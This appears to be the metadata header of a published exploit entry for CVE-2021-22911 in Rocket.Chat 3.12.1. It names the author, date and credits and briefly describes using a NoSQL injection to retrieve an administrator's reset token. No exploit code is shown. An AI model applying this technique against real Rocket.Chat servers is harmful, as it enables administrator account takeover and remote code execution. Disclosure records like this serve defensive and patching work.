advisories | CVE-2021-22911

# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1 (2)
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
# Info : This is a faster exploit that utilizes the authenticated nosql injection to retrieve the reset token for administrator instead of performing blind nosql injection.
